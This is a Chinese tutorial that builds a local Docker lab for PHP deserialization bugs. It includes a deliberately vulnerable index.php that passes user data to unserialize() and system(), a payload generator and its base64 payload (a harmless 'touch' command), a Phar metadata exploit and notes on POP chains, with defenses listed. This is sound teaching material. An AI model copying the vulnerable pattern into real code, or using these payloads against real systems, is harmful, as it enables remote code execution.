PHP反序列化漏洞复现与利用指南

1. 漏洞概述

PHP反序列化漏洞是一种高危安全漏洞，当应用程序对用户提供的序列化数据进行反序列化操作时，攻击者可以通过构造恶意序列化数据来执行任意代码或系统命令。这种漏洞通常出现在使用unserialize()函数处理用户输入的场景中。

2. 漏洞原理

PHP反序列化漏洞的核心在于：

• 魔术方法的自动调用（如__wakeup(), __destruct()）
• 对象属性的可控性
• 缺乏对反序列化数据的验证

当PHP反序列化一个对象时，会自动调用以下魔术方法（如果存在）：

• __wakeup()：在对象被反序列化时立即调用
• __destruct()：在对象被销毁时调用

3. 漏洞复现环境搭建

3.1 创建漏洞测试文件

创建index.php文件：

<?php
class VulnerableClass {
    public $name;
    
    function __wakeup() {
        // 反序列化时自动执行的危险操作
        system($this->name);
    }
}

// 从GET参数获取序列化数据
if (isset($_GET['data'])) {
    $data = base64_decode($_GET['data']);
    unserialize($data); // 触发反序列化漏洞
} else {
    highlight_file(__FILE__);
}
?>

3.2 使用Docker搭建环境

创建Dockerfile：

FROM php:7.4-apache
COPY index.php /var/www/html/
RUN chmod 755 /var/www/html/index.php

说明：PHP 7.4是反序列化漏洞的高发版本，特别是__wakeup魔术方法相关的漏洞。

3.3 构建并运行容器

# 构建镜像
docker build -t php-deserialization .

# 运行容器(映射端口8080)
docker run -d -p 8080:80 --name vuln-container php-deserialization

4. 生成恶意Payload

创建generate_payload.php文件：

<?php
class VulnerableClass {
    public $name = "touch /tmp/hacked"; // 要执行的命令
}

echo base64_encode(serialize(new VulnerableClass()));
?>

生成Payload：

php generate_payload.php

生成的Payload格式示例：
TzoxNjoiVnVsbmVyYWJsZUNsYXNzIjoxOntzOjQ6Im5hbWUiO3M6MTc6InRvdWNoIC90bXAvaGFja2VkIjt9

5. 触发漏洞

访问以下URL（替换[PAYLOAD]为生成的字符串）：

http://localhost:8080/index.php?data=[PAYLOAD]

6. 验证攻击结果

# 进入容器检查命令执行结果
docker exec vuln-container ls /tmp

# 如果看到"hacked"文件，说明漏洞复现成功

7. 常见漏洞场景

8. 调试技巧

8.1 查看序列化结构

$data = serialize(new VulnerableClass());
var_dump($data);
// 输出: O:16:"VulnerableClass":1:{s:4:"name";s:17:"touch /tmp/hacked";}

8.2 序列化格式解析

PHP序列化字符串格式：

• O:16:"VulnerableClass":1: - 表示一个对象，类名16个字符，有1个属性
• {s:4:"name";s:17:"touch /tmp/hacked";} - 属性名为"name"(4个字符)，值为"touch /tmp/hacked"(17个字符)

9. 防御措施

1. 避免反序列化用户输入：尽量不要对用户提供的数据进行反序列化操作
2. 使用JSON：考虑使用JSON格式代替PHP序列化
3. 白名单验证：如果必须使用反序列化，实现类名白名单
4. 更新PHP版本：新版PHP修复了许多反序列化相关的安全问题
5. 禁用危险函数：禁用system()等危险函数或限制其使用

10. 高级利用技巧

10.1 POP链构造

当直接利用单个类的魔术方法不可行时，可以尝试构造属性导向编程(POP)链：

1. 寻找多个类之间的调用关系
2. 通过一个类的__destruct()方法触发另一个类的__toString()方法
3. 链式调用最终达到代码执行的目的

10.2 Phar反序列化

利用Phar文件的元数据会被反序列化的特性，可以结合文件上传实现反序列化攻击：

// 创建恶意Phar文件
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setMetadata(new VulnerableClass());
$phar->stopBuffering();

11. 实际案例分析

许多流行的PHP框架和库都曾曝出反序列化漏洞，例如：

1. ThinkPHP反序列化漏洞：通过构造特定的序列化数据实现远程代码执行
2. Laravel反序列化漏洞：利用缓存机制中的反序列化操作实现攻击
3. PHP内置类利用：利用SplFileObject等内置类进行文件操作

12. 总结

PHP反序列化漏洞是一种危害性大、利用方式灵活的安全漏洞。通过本指南，您应该已经掌握了：

1. 基本的反序列化漏洞复现方法
2. Docker环境下的漏洞测试流程
3. 恶意Payload的生成与利用
4. 常见的漏洞场景和防御措施

在实际安全测试中，应当注意测试的合法性和授权范围，避免对未授权系统进行测试。